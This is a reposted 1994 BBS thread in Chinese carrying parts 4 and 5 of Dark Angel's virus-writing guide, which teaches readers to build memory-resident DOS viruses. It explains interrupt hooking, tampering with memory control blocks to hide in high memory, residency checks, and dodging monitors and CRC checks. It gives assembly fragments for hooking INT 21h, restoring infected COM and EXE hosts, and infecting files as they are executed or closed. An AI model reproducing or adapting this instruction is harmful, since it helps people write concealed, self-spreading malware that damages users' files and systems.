- [10] TTL-病毒討論區 (89:100/1) ----------------------------------- TTL-VIRUS -
信件 : 34 of 35 Uns Loc
發信人: Andy Kao 89:100/1 Thu 01 Sep 94 19:52
收信人: All
標 題: 病毒寫作教學(4)
--------------------------------------------------------------------------------
Dark Angel 病毒寫作指南 [4]
---------------------------
第四期 常駐病毒 第一部份
---------------------------
現在有關非常駐病毒的部份已經全部解說完畢,接著要進入常駐病毒的部份。這
份文件將介紹這類病毒背後的原理,而不會附上程式碼。只要掌握了這類知識,你可
以大膽的寫隻常駐式病毒而有自信不會表現的太差。
------
中斷
------
DOS 很仁慈的提供我們一種很有威力的方法來加強它自身,叫做記憶體常駐程式
。記憶體常駐程式可以用來擴展並修改原來正規的 DOS 函數。要了解記憶體常駐程
式是如何運作的,我們必須探究一下中斷向量表。中斷向量表位於記憶體中
0000:0000 到 0000:0040 (或 0040:0000) 的位址,位於 BIOS 資訊區的正下方。它
包含 256 個 double words,每一個代表一對 segmentffset。當你用 INT 指令發
出一個中斷呼叫時,會依序發生兩件事:
1) 旗號 (flag) 會被推入堆疊中
2) 對位於中斷向量表中的 segmentffset 發出一個遠程呼叫 (far call)
要從中斷中返回則要使用 IRET 指令。IRET 動作的順序正好和 INT 指令相反,
它會先做個 POPF 再做個 RETF。如果中斷函式會從旗號暫存器傳值回來的話,這樣
的呼叫/返回程序會有很有趣的效應。這種中斷函式必須直接修改堆疊裡的旗號暫存
器之值而不是只是直接修改暫存器之值而已。
處理器會從中斷向量表中找尋要呼叫的位址。例如說,呼叫 21h 中斷時,處理
器會在中斷向量表中尋找 21h 中斷函式的位址。這個指標的 segment 是 0000h 而
offset 是 21h*4,即 84h。換句話說,中斷向量表簡單的說就是一串 256 個指向中
斷函式的指標,涵蓋範圍從中斷 0 到中斷 255。要找出某個中斷函式的位址只要取
得segment 0,offset 中斷號碼*4 處之 double word 即可。中斷向量表是以標準的
Intel reverse double word 格式儲存的,即先放 offset 接著才放 segment。
如果程式想要 "抓住" 某一中斷,也就是說想要重導某向量,它必須去更改中斷
向量表裡的資料。你可以直接修改向量表或呼叫適當的 DOS 函式來達成。如果程式
直接去修改向量表,這部份程式碼必須放在一對 CLI/STI 裡面,因為若處理器在向
量表修改到一半時發出個中斷將會有非常悲慘的結果。一般而言,直接修改是較佳的
方式,因為一些像 FluShot+ 之類的程式會監看 INT 21h 用來設定向量表的呼叫,
如果發現有 "未登記" 的程式想修改它,會發出警告。
所謂中斷函式就是一段在中斷被呼叫時執行的程式碼。中斷的要求可以由程式發
出也可能從處理器發出。INT 21h 就是前者的一個例子,而 INT 8h 則是後者的一個
例子。BIOS 提供中斷函式的一部份,而其餘部份則由 DOS 和其他程式提供。一般而
言,BIOS 提供的中斷從 0h 到 1Fh,DOS 提供 20h 到 2Fh,其他則供程式使用。
當程式想載入它自己的程式碼時,有幾點必須考慮的。首先,它是取代或覆蓋原
有的中斷函式嗎?也就是說,這個中斷函式是不是已經存在了?第二,程式是否要保
留原來舊函式的功能?例如說,當程式想截取 BIOS 的時鐘計時中斷,無疑的會想要
保留原有舊函式。忽略原舊函式的存在可能會導致悲慘的結果,特別是如果先前載入
的程式截取了那個中斷。
有個很多中斷函式使用的技巧叫 "鏈結"。經由鏈結,新舊兩個中斷函式都可以
執行到。鏈結有兩個主要的方法:先執行和後執行。在先執行鏈結中,舊有的函式會
在新的之前先執行。這是藉由一個假冒的 INT 呼叫,也就是由 PUSHF 接著一個
CALL FAR,來達成。當舊函式終結後,控制權會回到新函式。先執行鏈結是在新函式
需要用到舊函式的結果來決定進一步的動作時使用。後執行鏈結就比較直接,只用到
一個 JMP FAR 指令。這個方法甚至不必在新函式裡加上 IRET 指令!當 JMP 執行時
,新的函式已經完成它的動作而把控制權轉交舊函式。這個方法主要是用在新函式希
望在 DOS 或 BIOS 執行中斷之前先做處理時。
-----------------------
簡介 DOS 之記憶體配置
-----------------------
記憶體配置大概是 DOS 裡最困難的概念之一,無疑的是最難的技巧。困難之處
在於缺乏 Microsoft 和 IBM 的正式文件。不幸的,DOS 記憶體管理的知識是寫常駐
病毒決定性的要件。
當程式向 DOS 要求更多記憶體時,作業系統會從未使用的記憶體裡切下一片記
憶體。雖然這個概念非常簡單易懂,但是為了寫常駐病毒所需的知識,必須更深入的
探究。DOS 會利用記憶體控制區塊 (MCB) 來幫助它記錄管理記憶體。MCB 是記憶體
中一塊 paragraph 大小的區塊。當程式需要記憶體時,會多配給它一 para 的記憶
體給 MCB 使用。MCB 就位於它所控制的記憶體之前。MCB 和它控制的記憶體看起來
像這樣:
+---------+----------------------+
| MCB 1 | MCB 1 控制的記憶體 |
+---------+----------------------+
當第二部份的記憶體被要求時,另一個 MCB 會被放在上次配置的記憶體之下,
就像:
+---------+------------+---------+------------+
| MCB 1 | 記憶體 1 | MCB 2 | 記憶體 2 |
+---------+------------+---------+------------+
換句話說, MCB 是一個接一個堆著的。在解除 MCB 2 之前先解除 MCB 1 是很
浪費的,因為這會在記憶體裡留下空洞。MCB 的結構如下:
Offset 大小 意義
-------- ------ ------
0 BYTE M 或 Z
1 WORD Process ID (區塊擁有者的 PSP)
3 WORD 以 para 計算之大小
5 3 BYTE 保留 (未使用)
8 8 BYTE DOS 4+ 使用
如果 offset 0 那一 byte 是 M,代表這個 MCB 不是串連中的最後一個;如果
是 Z 則代表是串連的結尾。記憶體中可以同時存在一個以上的 MCB 串連,病毒就是
利用這個 "功能" 常駐於記憶體中的。Offset 1 處的 word 一般都和這個 MCB 擁有
者的 PSP 相同。如果是 0,代表這塊是空白記憶體而可以由程式使用。如果是 0008
則是代表這塊的主人是 DOS。Offset 3 處的大小並不包括 MCB 所佔用之記憶體,它
就是傳回給 DOS 記憶體配置函式之值。在區塊大小之後的資料都沒有用,所以你可
以忽略它們。
當一個 COM 檔載入時,DOS 會把所有能用的記憶體全配置給它。當 EXE 檔載入
時,則配置給它 EXE 檔檔頭所要求之記憶體。在檔頭裡有最大和最小記憶體之值,
通常,連結器會把最大記憶體設為 FFFFh para。如果程式要求配置記憶體,它首先
必須先縮小它所佔有的主記憶體成所需的最小值,否則配置記憶體的要求將不幸的失
敗。
因為程式通常無法直接修改 MCB,DOS 的記憶體配置函式 (48h - 4Ah) 都傳回
並接受第一個可使用的記憶體 paragraph 值,也就是緊接在 MCB 之後的記憶體。在
寫 MCB 修改程式時記住這一點是很重要的。
------------
常駐的方法
------------
常駐的方法有很多種,第一種是使用傳統的 DOS TSR 中斷函式,INT 27h 或
INT 21h/ 31h 功能。寫病毒時最好不要用這些函式,因為在常駐之後,控制權不會
回到程式手中。另外,它們會在 PMAP 或 MAPMEM 之類記憶體管理程式裡露出痕跡
,即使是個門外漢也會發現這種病毒的存在。
傳統的病毒不是利用標準的 DOS 中斷,就是自己寫一個新的常駐函式。現在幾
乎所有的病毒都是利用使用個函式來把自己 load high,也就是把自己載入最高的
可用記憶體位址。例如說,在 640K 的系統裡,病毒會把它自己擺在緊接在 640K
之下而在 DOS 保留給程式的記憶體之上。雖然技術上而言這並不是 high memory
area,但是在這個檔案裡將會把它當作就是這樣。Load high 可經由一連串
allocation 和 reallocation 的中斷呼叫來達成。一般的方法是:
1. 找出記憶體大小。
2. 把程式的記憶體縮小為 全部記憶體大小 - 病毒大小。
3. 替病毒配置記憶體 (位於 high memory)。
4. 把程式的 MCB 改為串連的結尾 (把它標示為 Z )。
5. 把病毒拷到 high memory。
6. 如果想要鏈結中斷則要把舊的中斷向量存起來。
7. 把中斷向量改到 high memory 中之正確位置。
當在計算記憶體大小的時候要記得所有的大小都是用 para 來表示的。MCB 也要
考慮進去,它會用掉一 para 的記憶體。這個方法的好處是他不會在記憶體檢視程式
留下痕跡。但是用 CHKDSK 之類程式顯示的總記憶體數會變少。
第三種方法是根本不配置。有些病毒會把自己拷到 640K 之下的記憶體,但不配
置這塊記憶體。這樣可能會有大悲劇發生,因為任何 DOS 載入的程式都有可能會用
到這塊記憶體。如果它被破壞了,將會發生無法預料的結果。雖然用 CHKDSK 看不出
記憶體有變少的現象,但是這個方法引發無法預測的結果之可能性是無法接受的。有
些病毒則使用已知會空下來的記憶體,像中斷向量表的頂端、video ram 的某部份之
類比較不會被用到的記憶體。這個方法因為非常的不穩定最好也不要用。
這些技術並不是常駐的唯一方法,我看過以怪異的方法常駐在 DOS 的內部磁碟
buffer 之中的病毒。Where there's a memory, there's way。
通常我們都會想知道我們的病毒是否已經常駐了,最簡單的方法就是在我們的
中斷處理函式裡加上個檢驗的功能。例如說,AX 放 7823h 來呼叫 21h 中斷可能會
從 AX 傳回 4323h,用來檢驗是否常駐。使用這個檢驗法的時候必須確定不會和其
他程式或 DOS 本身起衝突。另一種方法是種很浪費時間和程式碼的方法,就是檢查
記憶體中的每一個 segment 是否有代表病毒存在之程式碼。這個方法也是不適用的
,因為寫個中斷函式檢驗比這個方法簡單太多太多了。經由任何一種檢驗,病毒可
以不用怕會常駐兩次而浪費記憶體。
------------
為何要常駐
------------
常駐病毒比起執行型病毒有下列明顯優點:
o 大小
常駐病毒通常都比執行型病毒來得小,因為它們不需要有搜尋檔案來感染得程
式碼。
o 效率
它們通常都比較暴力,因為甚至連 DIR 這個指令都可以 "感染"。一般而言,
標準的技術是感染在病毒常駐時所有執行過的檔案。
o 速度
執行型病毒在檔案執行之前做感染的動作。寫得不好或一個很大的執行型病毒
會在執行之前造成引起使用者注意的延遲。另一方面,它所引起的額外的磁碟
動作也會傷害到病毒的壽命。
o 祕密
藉由修改中斷可以提供隱藏的技巧,像在 DIR 時可以隱瞞檔案大小的改變,如
此一般的使用者將難以發現病毒的存在。一些靈巧的病毒甚至可以瞞過 CRC 檢
驗,因而消滅另一種防毒技巧。
----------------
常駐病毒的結構
----------------
有了以上的初步資訊,現在我們可以把討論轉向跟病毒更有關係,也更有趣的
主題上了。常駐病毒的結構和執行型病毒的結構有很大的不同。它只用個簡短的片
段來檢驗病毒是否已經在記憶體中。如果病毒還沒進駐記憶體裡,則病毒經由任一
種方法把自己載入記憶體中。最後這個片段再把控制權交回給宿主程式。常駐病毒
的其他部份則是做主要工作的中斷處理函式。
這個片段是病毒裡唯一需要計算差距 offset 的部份。中斷函式會理想的位於
不需要如此計算的位置。只要載入後應該就不再需要用到差距 offset,因為變數的
位址都已經預設好了。因為常駐病毒碼必須從記憶體區塊 offset 0 處開始,所以
原始碼也要從 offset 0 開始。在原始的病毒程式裡不要用 JMP 跳到病毒碼。當要
把病毒碼搬到記憶體裡的時候,只要從 [bp+startvirus] 開始即可,而其 offset
在原始碼裡就要算出來了。這樣可以簡化 (並縮短) 中斷函式的程式碼。
寫病毒的中斷函式時必須考慮許多事情。第一,病毒必須保存暫存器。如果病
毒使用先執行鏈結,必須把舊中斷呼叫後之暫存器之值存起來;如果用後執行鏈結
,則要在呼叫舊中斷函式之前先還原原來的暫存器的值。第二,常駐病毒比較難使
用 encryption,但是也不是不可能。主要的問題是如果中斷函式 encrypt 過,則
在 decrypt 之前無法使用這個中斷函式。這是個非常大的問題。比較下等的簡單方
法就是不要用 encrypt,我比較喜歡這個下等方法。比較不下等的讀者可能會在記
憶體裡同時兩份病毒,把不用的那一份 encrypt 起來,並把這份當作寫入用。當然
,這樣病毒就會在記憶體裡佔原來的兩倍記憶體。要不要用 encrypt 全看個人決定
。就像以前提到的,旗號暫存器是從堆疊裡還原的。在先執行鏈結裡把新的旗號暫
存器之值存回原堆疊裡的舊旗號上是很重要的。
寫中斷函式時,特別是 BIOS 中斷,另一項必須考慮的重要因素是 DOS 的
re-entrance。這表示你不能在一個 DOS 中斷執行之中再執行另一個 DOS 函式。這
是因為每次 DOS 被呼叫時它的堆疊指標的設定都相同,如果呼叫第二個 DOS 中斷
的話會把另一個的堆疊資料覆蓋掉,而引發無法預測的後果。不管哪個 DOS 中斷都
會發生這種事,特別是 INT 21h,因為常常會在別的中斷裡想要去使用它。除非確
定 DOS 中斷目前並沒有在執行,否則絕對不要在中斷函式裡使用 DOS 中斷。使用
"較低" 的 INT 21h 呼叫可以不用怕會破壞堆疊,但是基本上它們都是沒有用處的
,可以簡單的靠 BIOS 呼叫或直接存取硬體來達成。這段討論主要是對截取非 DOS
中斷來說的,當截取 DOS 中斷的時候則假設 DOS 現在並沒有在其他地方執行,否
則它會毀了自己的堆疊,這將是最不幸的事件!
很自然的,最常被攔截的中斷就是 INT 21h。幾乎每個 DOS 程式都會呼叫 INT
21h。病毒最常用的方法就是攔截某些 DOS 呼叫以找出可以感染的檔案。最常攔截
的呼叫包括 find first、find next、open 和 execute。只要靈巧的使用先執行或
後執行鏈結,病毒可以輕易的找到已找到、開啟、或執行的檔案並感染之,只要用
適當的方法分離所需的檔名即可。只要完成這道手續,其他部份就跟執行型病毒沒
什麼兩樣了。
當病毒從自己的中斷函式裡呼叫被攔截的中斷時,必須確定病毒不會再攔截這
個特別的呼叫,以免造成一個無限迴路。例如說,病毒攔截了執行的呼叫,而為了
某些理由病毒必須用這個呼叫執行某些檔案,不能儘儘只用 INT 21h 來完成這個工
作。當這種情形無法避免的時候,必須要用 PUSH 和 CALL 的模擬中斷呼叫來完成
工作。
中斷處理函式的基本結構其實很簡單。首先先檢驗暫存器的值,看看是不是個
檢驗呼叫 (檢驗是否常駐過) 或是我們要攔截的呼叫 (執行)。如果都不是,那就把
控制權丟回給原來的中斷處理函式。如果是個檢驗呼叫,函式只要設定好暫存器的
值再回到原呼叫程式裡即可。否則病毒就要決定是要用先執行或後執行鏈結,不管
用哪種方法,病毒都要找出檔名並據此來感染檔案。檔名可以經由把暫存器當指標
或搜尋特定的資料結構 (如 FCB) 來取得。感染的函式和非常駐病毒除了前幾節提
到的例外外都是一樣的。
----------
接下來呢
----------
對於這份指南裡有些語意不明的句子我感到很抱歉,但是我是個程式寫作者,
不是個作家。我唯一的建議就是把全部讀過直到你了解它為止。我決定以程式碼而
非旋律來包裝這份指南。在下一份文件裡,我將列出所有寫作常駐病毒所需要的程
式碼以及一些可能會用到的技巧。然而,所有寫隻常駐病毒所需的資訊都在這份文
件裡了,只看你如何把它們組合起來而已。Have buckets o' fun! 作者: ltk0020 時間: 2006-9-17 22:49
- [10] TTL-病毒討論區 (89:100/1) ----------------------------------- TTL-VIRUS -
信件 : 35 of 35 Uns Loc
發信人: Andy Kao 89:100/1 Thu 01 Sep 94 19:52
收信人: All
標 題: 病毒寫作教學(5)
--------------------------------------------------------------------------------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dark Angel 病毒寫作指南5:常駐型病毒⑵
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在閱讀了這份叢集的指南之後,你應該對寫作常駐型病毒有點想法。然而,我某些
不清楚的描述可能會讓你感到困擾。希望在這部分中能使你播雲見日。
~~~~
結構
~~~~
假使你上次錯過了這個部分,這裏將提供你有關常駐型病毒的一些基本概念。這種
病毒包含了兩大部分:載入機制以及攔截處理。載入機制提供了兩種功能。首先,它會
將中斷向量轉至病毒本身;其次,它將病毒常駐。而攔截處理則含有會導致感染檔案的
程式碼。廣義而言,處理機制會竄改第21號中斷並截斷某些可用於執行檔案的呼叫。
~~~~~~~~
載入機制
~~~~~~~~
載入機制包含了兩大部分:常駐程序以及還原程序。後者所做的,就如同非常駐型
病毒的一般,將控制權交回原始檔案。我會簡明地說明這點。
至今你應該已經了解感染.COM檔的奧義。只要把開頭前幾位元組換掉,控制權便移
轉到病毒上。還原.COM檔的秘訣僅僅只要將被覆蓋的那幾位元組還原即可。這個還原過
程發生在記憶體中,所以並不是永久的。由於.COM檔只佔單一節區,且總是由此節區內
偏移值 100h 處載入(因為要預留 PSP的空間),復原程序變的異常簡單。舉例而言,
假如名為"first3"的緩衝區內存放的是受病毒感染前檔案的前三位元組,則以下的程式
碼便會在記憶體中將原始碼還原:
mov di,100h ; Absolute location of destination
lea si,[bp+first3] ; Load address of saved bytes.
; Assume bp = "delta offset"
movsw ; Assume CS = DS = ES and a cleared direction flag
movsb ; Move three bytes
將控制權交還程式的問題仍然存在。亦即表示必須強迫程式將控制權移轉到偏移值
100h 的處。最簡單的解法就像:
mov di,100h
jmp di
這個程序有多種變化可以做到,但它們都達到將IP設為 100h 的基本要求。
現在,你應該也瞭解了感染.EXE檔的奧義。最簡易的手法就是替換.EXE檔檔頭的某
些固定的位元組。還原的秘訣就在於恢復所有病毒做過的修改。程式如下:
mov ax, es ; ES = segment of PSP
add ax, 10h ; Loading starts after PSP
add word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
; relative to end of PSP
cli
add ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
mov ss, ax
mov sp, word ptr cs:[bp+OrigSSSP]
sti
db 0eah ; JMP FAR PTR SEG:OFF
OrigCSIP dd ? ; Put values from the header
OrigSSSP dd ? ; into here
假如你想用.COM檔做為一個只會感染.EXE檔的病毒之載體,你只要輕鬆地將OrigCSIP
設為 FFF0:0000就好啦!這將會被還原程序還原成 PSP:0000 ,就是通常放第20號中斷
之處。
這些內容應該都不是新東西。現在我們要跨出通往新領域的步伐。達到常駐的方法
有兩種。第一種方法就是利用 DOS呼叫完成任務的「幼雉方法」。這方法實在幼雉,因
為⑴它很容易被先佔式的病毒監測程式欺騙,且⑵它會中斷程式的執行,因而使使用者
警覺到病毒的存在。我將不浪費任何程式碼在此法上,因為正如其名,它是給小孩子用
的方法。真正的病毒作者會自己寫常駐程序。最基本的便是「竄改 MCB」法。通則是:
① 簡查是否已常駐。若已經常駐,則跳出病毒。
② 找到記憶體頂端。
③ 配置高記憶體。
④ 複製病毒至高記憶體。
⑤ 置換中斷向量。
這個技巧有許多不同的風貌,在有需要時會一一討論。
~~~~~~~~
安裝查核
~~~~~~~~
安裝查核有評多不同的類別。最常見的就是呼叫第21號中斷,並在AX暫存器中放入
特定的值。假若由某特定暫存器傳回某特定值,那表示此病毒已經常駐過了。舉例而言
,一個確認常駐的範例如下:
mov ax,9999h ; residency check
int 21h
cmp bx,9999h ; returns bx=9999h if installed
jz already_installed
當你為了安裝查核,而要選放入AX的值時,記得不要衝到既有的呼叫,除非原本就
是無害的。比如說,不要使用秀字串在螢幕上的呼叫(ah=9),除非你希望在它第一次常
駐時發生不可預期的結果!而無害的呼叫,就像是取得 DOS版本(ah=30h)或是更新鍵盤
緩衝區(ah=0bh)的呼叫。當然,假若這個檢查與現有的功能衝到,那你必須非常小心的
確認沒有程式會對它感冒。舉例而言,不要只誘捕ah=30h,而是要誘捕ax=3030h或是將
ax=3030h以及bx=3030h同時誘導。
另一種檢查是否已常駐的方法就是去找尋病毒中的某些特徵。比如說,假若某病毒
總是將某未使用的中斷呼叫指向它本身,一個檢查的方法便是去找尋此特徵所使用的中
斷向量。如下:
xor ax,ax
mov ds,ax ; ds->interrupt table
les bx,ds:[60h*4] ; get address of interrupt 60h
; assume the virus traps this and puts its int 21h handler
; here
cmp es:bx,0FF2Eh ; search for the virus string
.
.
.
int60:
jmp far ptr csrigint21
當你使用此法時,請小心確認此特徵不會在病毒常駐時失效。在上例中,其它程式
就不能攔截 60h,否則查核會失效。甚至當病毒已載入記憶體時,會產生不可預期的後
果。
~~~~~~~~~~~~~~~~
尋找記憶體的頂端
~~~~~~~~~~~~~~~~
DOS 通常配置所有的記憶體給被載入的程式。利用這個知識,病毒可以很容易的得
到可使用的記憶體大小。重覆一次,MCB 的結構是:
Offset Size Meaning
------ ------- -------
0 BYTE 'M' or 'Z'
1 WORD Process ID (PSP of block's owner)
3 WORD Size in paragraphs
5 3 BYTES Reserved (Unused)
8 8 BYTES DOS 4+ uses this. Yay.
mov ax,ds ; Assume DS initially equals the segment of the PSP
dec ax
mov ds,ax ; DS = MCB of infected program
mov bx,ds:[3] ; Get MCB size (total available paragraphs to program)
一個有同樣效果卻更簡單的方法是按照下列方式使用DOS 的重配置記憶體呼叫:
mov ah,4ah ; Alter memory allocation (assume ES = PSP)
mov bx,0FFFFh ; Request a ridiculous amount of memory
int 21h ; Returns maximum available memory in BX
; This is the same value as in ds:[3]
~~~~~~~~~~~~
配置高記憶體
~~~~~~~~~~~~
配置記憶體最簡單的方法是透過DOS 完成你的工作:
mov ah,4ah ; Alter memory allocation (assume ES = PSP)
sub bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
; memory available to the program (returned by earlier
; call to int 21h/function 4ah
int 21h
mov ah,48h ; Allocate memory
mov bx,(endvirus-startvirus+15)/16
int 21h
mov es,ax ; es now holds the high memory segment
dec bx
mov byte ptr ds:[0], 'Z' ; probably not needed
mov word ptr ds:[1], 8 ; Mark DOS as owner of MCB
將MCB 的擁有者設為DOS 的目的是為了防止當載體程式結束時,記憶區段會被釋放
的後果。
當然,有人喜愛直接修改MCBs的值。這是很容易做到的。假設DS的值和載體程式MCB
的節位址相同,下面的程式提供了這種技巧:
; Step 1) Shrink the carrier program's memory allocation
; One paragraph is added for the MCB of the memory area which the virus
; will inhabit
sub ds:[3],(endvirus-startvirus+15)/16 + 1
; Step 2) Mark the carrier program's MCB as the last in the chain
; This isn't really necessary, but it assures that the virus will not
; corrupt the memory chains
mov byte ptr ds:[0],'Z'
; Step 3) Alter the program's top of memory field in the PSP
; This preserves compatibility with COMMAND.COM and any other program
; which uses the field to determine the top of memory
sub word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1
; Step 4) Calculate the first usable segment
mov bx,ds:[3] ; Get MCB size
stc ; Add one for the MCB segment
adc bx,ax ; Assume AX still equals the MCB of the carrier file
; BX now holds first usable segment. Build the MCB
; there
; Alternatively, you can use the value in ds:[12h] as the first usable
; segment:
; mov bx,ds:[12h]
; Step 5) Build the MCB
mov ds,bx ; ds holds the area to build the MCB
inc bx ; es now holds the segment of the memory area controlled
mov es,bx ; by the MCB
mov byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
; Note: you can have more than one MCB chain
mov word ptr ds:[1],8 ; Mark DOS as the owner
mov word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field
下面則又是另一種直接修改MCB 的方法。
; Step 1) Shrink the carrier program's memory allocation
; Note that rounding is to the nearest 1024 bytes and there is no
; addition for an MCB
sub ds:[3],((endvirus-startvirus+1023)/1024)*64
; Step 2) Mark the carrier program's MCB as the last in the chain
mov byte ptr ds:[1],'Z'
; Step 3) Alter the program's top of memory field in the PSP
sub word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64
; Step 4) Calculate the first usable segment
mov es,word ptr ds:[12h]
; Step 5) Shrink the total memory as held in BIOS
; Memory location 0:413h holds the total system memory in K
xor ax,ax
mov ds,ax
sub ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size
後者比前者強大,因為它比前者簡單且短小。新的MCB 不需被建立,因為DOS 將不
再配置被病毒佔據的記憶體。修改記載在BIOS資料區有關記憶體大小的記錄可以保證這
個情形。
~~~~~~~~~~~~~~~~~~
複製病毒至高記憶體
~~~~~~~~~~~~~~~~~~
這真是件十分可笑的容易事。只要將ES對準高記憶體節區,DS對準CS,BP對準偏移
值,下面的程式碼便可以達到目的:
lea si,[bp+offset startvirus]
xor di,di ; destination @ 0
mov cx,(endvirus-startvirus)/2
rep movsw ; Copy away, use words for speed
~~~~~~~~~~~~
置換中斷向量
~~~~~~~~~~~~
再度,有兩個方式可以使用:透過DOS 或直接置換。每個有心的程式設計者都曾和
中斷向量奮鬥過。若透過DOS :
push es ; es->high memory
pop ds ; ds->high memory
mov ax,3521h ; get old int 21h handler
int 21h ; to es:bx
mov word ptr dsldint21,bx ; save it
mov word ptr dsldint21+2,es
mov dx,offset int21 ; ds:dx->new int 21h handler in virus
mov ax,2521h ; set handler
int 21h
而若直接修改:
xor ax,ax
mov ds,ax
lds bx,ds:[21h*4]
mov word ptr es:oldint21,bx
mov word ptr es:oldint21+2,ds
mov ds,ax
mov ds:[21h*4],offset int21
mov ds:[21h*4+2],es
由於變數的位置已經知道,位移值差距的計算並不十分重要。這是因為病毒總是載入至
高記憶體偏移值0的地方。
~~~~~~~~
攔截處理
~~~~~~~~
攔截處理機制是用於截斷DOS 的呼叫並轉接至病毒。傳統上,攔截處理是由一個檢
查安裝查核呼叫的步驟開始。舉例來說:
int21:
cmp ax,9999h ; installation check?
jnz not_installation_check
xchg ax,bx ; return bx = 9999h if installed
iret ; exit interrupt handler
not_installation_check:
; rest of interrupt handler goes here
在不妨礙的情形下,病毒可以竄改任何它想攔截的DOS 呼叫。通常最有竄改價值的呼叫
是檔案執行(ax=4b00h),如此一來,每個被執行的檔案都會被感染。另一個可以竄改的
呼叫是代碼關閉(雖然這要花較多的工夫)。這種感染就會發生在拷貝、觀看、補綴上
。在某些呼叫上,前置鏈結較好;反之,則用後置鏈結。就當做基本常識吧!假如被攔
截的呼叫將會破壞檔案或指位器,那麼使用前置鏈結。若是呼叫必須在感染前完成,那
就使用後置鏈結。(譯注:前置鏈結表示該呼叫在感染行為前串接,反之亦然)
前置鏈結很簡單:
pushf ; simulate an int 21h call
call dword ptr cs:oldint21
; The following code ensures that the flags will be properly set upon
; return to the caller
pushf
push bp
push ax
; flags [bp+10]
; calling CS:IP [bp+6]
; flags new [bp+4]
; bp [bp+2]
; ax [bp]
mov bp, sp ; setup stack frame
mov ax, [bp+4] ; get new flags
mov [bp+10], ax; replace the old with the new
pop ax ; restore stack
pop bp
popf
在鏈結完成,離開攔截處理時,使用 iret 較 retn 或 retf 為佳。後置鏈結更簡單:
jmp dword ptr cs:oldint21 ; this never returns to the virus int handler
當離開攔截處理時,請確認堆疊的完整及暫存器的原值。務必在前置鏈結之後及後置鏈
結前保存下暫存器的內值。
常駐式病毒的感染動作基本上和非常駐病毒是相同的。唯一的不同處是在當攔截處理竄
改感染程序中某個會用到的呼叫之時。比如說,若是要竄改代碼關閉呼叫,那麼感染程
序就要用一個指向原 int21h 處理器的程序把代碼關閉的呼叫換掉。就像:
pushf
call dword ptr cs:oldint21
對常駐病毒而言,當處理編碼過程時,這也是必須的。在非常駐病毒中,病毒碼在整個
過程中是沒有必要保存下來的。然而,就算是在感染發生時,保持解碼完的攔截處理程
式是值得做的。因此,病毒要在記憶體中留下兩份拷貝:一份就是程式而另一份視做資
料。編碼器就將後者編碼而保持攔截處理在程式中。這是相當重要的,尤其是當病毒還
會竄改其它中斷,如 int09h 或 int13h 時。
~~~~~~~~~~~~~~~~~~
常駐病毒的一項理論
~~~~~~~~~~~~~~~~~~
常駐病毒在傳統上可分為兩類:慢速傳染型及快速傳染型。這兩類各有其利弊得失。
慢速傳染型是除了檔案建立外都不感染的。這類病毒修改建檔程序,並在檔案關閉
時感染檔案。感染將發生在新檔的建立及檔案的拷貝上。這種病毒的一個缺點就是它散
佈的太慢了。然而,這個缺點也正是優點所在,它將可以保持長時間的不可偵測。雖然
感覺上此類病毒較無效率,不過事實上它們表現的不錯!在建檔時傳染,同時表示,那
些所謂的 Checksum/CRC 式防毒程式無法在感染之前對此檔案進行 Checksum/CRC 處理
。除此之外,檔案通常多由一個目錄拷貝至另一個不同的目錄。故此類病毒可行。
快速傳染型在執行檔案時傳染。這類病毒通常立即攻擊常用程式,以確保下次開機
後仍能存在於記憶體中。這是它們的主要優點,卻也是最大的缺點。因為這類病毒傳染
的十快速,使用者很容易會發現系統的不尋常;尤其是在病毒未使用任何隱形技巧之
時。
當然,沒人敢說那一種是較佳的。這是個人喜好的問題。雖然慢速傳染型病毒正在
急速增加,現今大多數病毒仍是快速感染型。
當病毒欲在建檔或拷貝時感染,它必須把檔名複製到緩衝區內,執行呼叫,並保存
代碼。當收到此代碼的關檔指示時,就利用剛保存的檔名去感染檔案。這是不用追入DOS
內部,僅是在關閉代碼後感染的一個最簡單的方法。
~~~~~~~~~~~~~~
若你還是不懂?
~~~~~~~~~~~~~~
別絕望,只要你多練習,你自然會懂。你將很快會發現,其實常駐式病毒比非常駐
式病毒好寫。這就是我想要說的;同時,也請你注意我下一次的教授。 作者: williamkhw 時間: 2006-11-16 20:58